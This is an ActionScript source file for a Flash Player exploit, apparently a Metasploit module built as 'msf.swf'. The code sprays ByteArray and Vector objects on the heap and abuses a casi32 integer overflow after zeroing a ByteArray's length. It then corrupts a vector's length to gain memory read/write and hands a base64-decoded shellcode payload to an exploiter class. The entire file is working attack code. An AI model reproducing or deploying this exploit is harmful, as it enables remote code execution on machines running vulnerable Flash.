// Build how to:
// 1. Download the AIRSDK, and use its compiler.
// 2. Download the Flex SDK (4.6)
// 3. Copy the Flex SDK libs (<FLEX_SDK>/framework/libs) to the AIRSDK folder (<AIR_SDK>/framework/libs)
//      (all of them, also, subfolders, specially mx, necessary for the Base64Decoder)
// 4. Build with: mxmlc -o msf.swf Exploit.as

// It uses original code from @hdarwin89 for exploitation using ba's and vectors

package
{
	import flash.display.Sprite
	import flash.utils.ByteArray
	import flash.system.ApplicationDomain
	import avm2.intrinsics.memory.casi32
	import flash.display.LoaderInfo
	import mx.utils.Base64Decoder

	public class Exploit extends Sprite 
	{
		private var BYTE_ARRAY_SIZE:Number = 1024
		private var uv:Vector.<uint>
		private var ba:ByteArray
		private var b64:Base64Decoder = new Base64Decoder();
		private var payload:ByteArray
		private var platform:String
		private var os:String
		private var exploiter:Exploiter
		private var defrag:Vector.<Object> = new Vector.<Object>(100)
		private var ov:Vector.<Object> = new Vector.<Object>(200)
				
		public function Exploit() 
		{
			var i:uint = 0
			var j:uint = 0
			
			platform = LoaderInfo(this.root.loaderInfo).parameters.pl
			os = LoaderInfo(this.root.loaderInfo).parameters.os
			var b64_payload:String = LoaderInfo(this.root.loaderInfo).parameters.sh
			var pattern:RegExp = / /g;
			b64_payload = b64_payload.replace(pattern, "+")
			b64.decode(b64_payload)
			payload = b64.toByteArray()

			for (i = 0; i < defrag.length; i++) {
				defrag[i] = new ByteArray()
				defrag[i].length = BYTE_ARRAY_SIZE
				defrag[i].endian = "littleEndian"
			}
			
			ba = new ByteArray()
			ov[0] = ba
			ov[0].length = BYTE_ARRAY_SIZE
			ov[0].endian = "littleEndian"

			for (i = 1; i < ov.length; i++) {
				ov[i] = new Vector.<uint>(1014)
				ov[i][0] = 0x41424344
			}

			ApplicationDomain.currentDomain.domainMemory = ba;
			// Make ByteArray length 0 so the casi32 integer overflow 
			// can be exploited
			ba.atomicCompareAndSwapLength(1024, 0)
			
			try {
				var uint_vector_pos:uint = search_uint_vector()
			} catch (err:Error) {
				Logger.log("[!] Exploit - Corrupted Vector.<uint> not found")
				return
			}
			
			// Overwrite uint vector length
			var orig_length:uint = write_byte_array(uint_vector_pos, 0xffffffff)
			
			for (i = 0; i < ov.length; i++) {
				if (ov[i].length > 1024) {
					uv = ov[i]
					Logger.log("[*] Exploit - Corrupted Vector.<uint> found")
				} else {
					ov[i] = null
				}
			}
			
			exploiter = new Exploiter(this, platform, os, payload, uv)
		}
		
		// Methods to use the integer overflow
		private function search_uint_vector(limit:uint = 0xf9000, pattern:uint = 1014):uint {
			var mem:uint = 0
			var mem_first_pos:uint = 0
			
			for (var i:uint = 0; i < limit; i = i + 4) {
				mem = read_byte_array(i)
				mem_first_pos = read_byte_array(i + 8)
				if (mem == pattern && mem_first_pos == 0x41424344) {
					return i
				}
			}
			throw new Error()
		}
						
		private function read_byte_array(offset:uint = 0):uint {
			var old:uint = casi32(offset, 0xdeedbeef, 0xdeedbeef)
			return old
		}
		
		private function write_byte_array(offset:uint = 0, value:uint = 0):uint {
			var old:uint = read_byte_array(offset)
			casi32(offset, old, value)
			return old
		}
	}
}
